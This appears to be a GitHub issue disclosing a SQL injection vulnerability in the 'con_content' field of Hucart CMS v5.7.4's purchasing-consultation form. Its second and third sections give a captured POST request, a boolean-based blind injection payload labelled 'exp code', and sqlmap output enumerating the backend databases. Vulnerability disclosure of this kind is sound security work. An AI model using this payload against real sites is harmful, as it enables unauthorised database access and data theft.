

New issue

[Jump to bottom](#)

SQL injection vulnerability in the "con_content" field of Hucart cms v5.7.4 #8

[Open](#) joelister opened this issue on Apr 30, 2019 · 0 comments

joelister commented on Apr 30, 2019 · edited

Owner

1、 After the user logs in, Hucart cms v5.7.4 does not securely filter the message content "con_content" field in "Purchasing Consultation", resulting in a SQL injection vulnerability.
p.com/user/?load=comment&act=buy

新浪微博 亚马逊 百度 网址大全 爱淘宝 京东商城 JD 京东商城

欢迎您, test2 | 用户中心 | Exit

[设为首页](#) [加入收藏](#) [网站导航](#)**HuCart企业建站系统**
<http://www.hucart.com>

搜索

[网站首页](#) [商品展示](#) [关于我们](#) [资讯信息](#) [视频中心](#) [图库中心](#) [联系我们](#)

我的资料

[基本信息](#)[收货地址](#)[修改密码](#)

站内消息

[发件箱](#)[收件箱](#)[短信提醒](#)[推荐商品](#)

评论管理

[商品评价](#)[资讯评论](#)[购买咨询](#)[图片评价](#)[视频评论](#)

安全退出

留言标题: 123

留言内容:

456

body p

提交

HuCart建站系统

[付款方式](#) | [售后服务](#) | [合作伙伴](#)

© 2005-2016 HuCart.COM Powered by HuCart.COM

2、 The current page capture is as follows:

POST /user/index.php?load=comment&act=add_buy HTTP/1.1

Host: hucart91dtp.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:65.0) Gecko/20100101 Firefox/65.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Referer: <http://hucart91dtp.com/user/?load=comment&act=buy>

Content-Type: application/x-www-form-urlencoded

Content-Length: 90

Connection: close

Cookie: PHPSESSID=v97hmcd0r156989so2rjksqj55; ck_num=c0560792e4a3c79e62f76cbf9fb277dd; bdshare_firsttime=1556003682005

Upgrade-Insecure-Requests: 1

con_title=123&con_content=%3Cp%3E%0D%0A%09456%3C%2Fp%3E%0D%0A&submit=+%E6%8F%90+%E4%BA%A4+

3、 exp code:

Payload: con_title=123&con_content=

456

||(SELECT 0x796d724c FROM DUAL WHERE 8120=8120 AND 6699=6699)||"&submit= %E6%8F%90 %E4%BA%A4+

```
命令提示符
[04:53:52] [INFO] testing connection to the target URL
sqlmap got a refresh request (redirect like response common to login pages). Do you want to apply the refresh from now on (or
stay on the original page)? [Y/n]
[04:54:24] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[04:54:24] [WARNING] if the problem persists please check that the provided target URL is reachable. In case that it is, you
n try to rerun with switch '--random-agent' and/or proxy switches ('--ignore-proxy', '--proxy',...)
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #2* ((custom) POST)
  Type: boolean-based blind
  Title: AND boolean-based blind - WHERE or HAVING clause
  Payload: con_title=123&con_content=<p>
    456</p>
'||(SELECT 0x796d724c FROM DUAL WHERE 8120=8120 AND 6699=6699)||'&submit= %E6%8F%90 %E4%BA%A4
---
[04:54:24] [INFO] testing MySQL
[04:54:24] [INFO] confirming MySQL
[04:54:24] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.6.30
back-end DBMS: MySQL >= 5.0.0
[04:54:24] [INFO] fetching database names
[04:54:24] [INFO] fetching number of databases
[04:54:24] [INFO] resumed: 2
[04:54:24] [INFO] resumed: information_schema
[04:54:24] [INFO] resumed: hucart
available databases [2]:
[*] hucart
[*] information_schema
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant

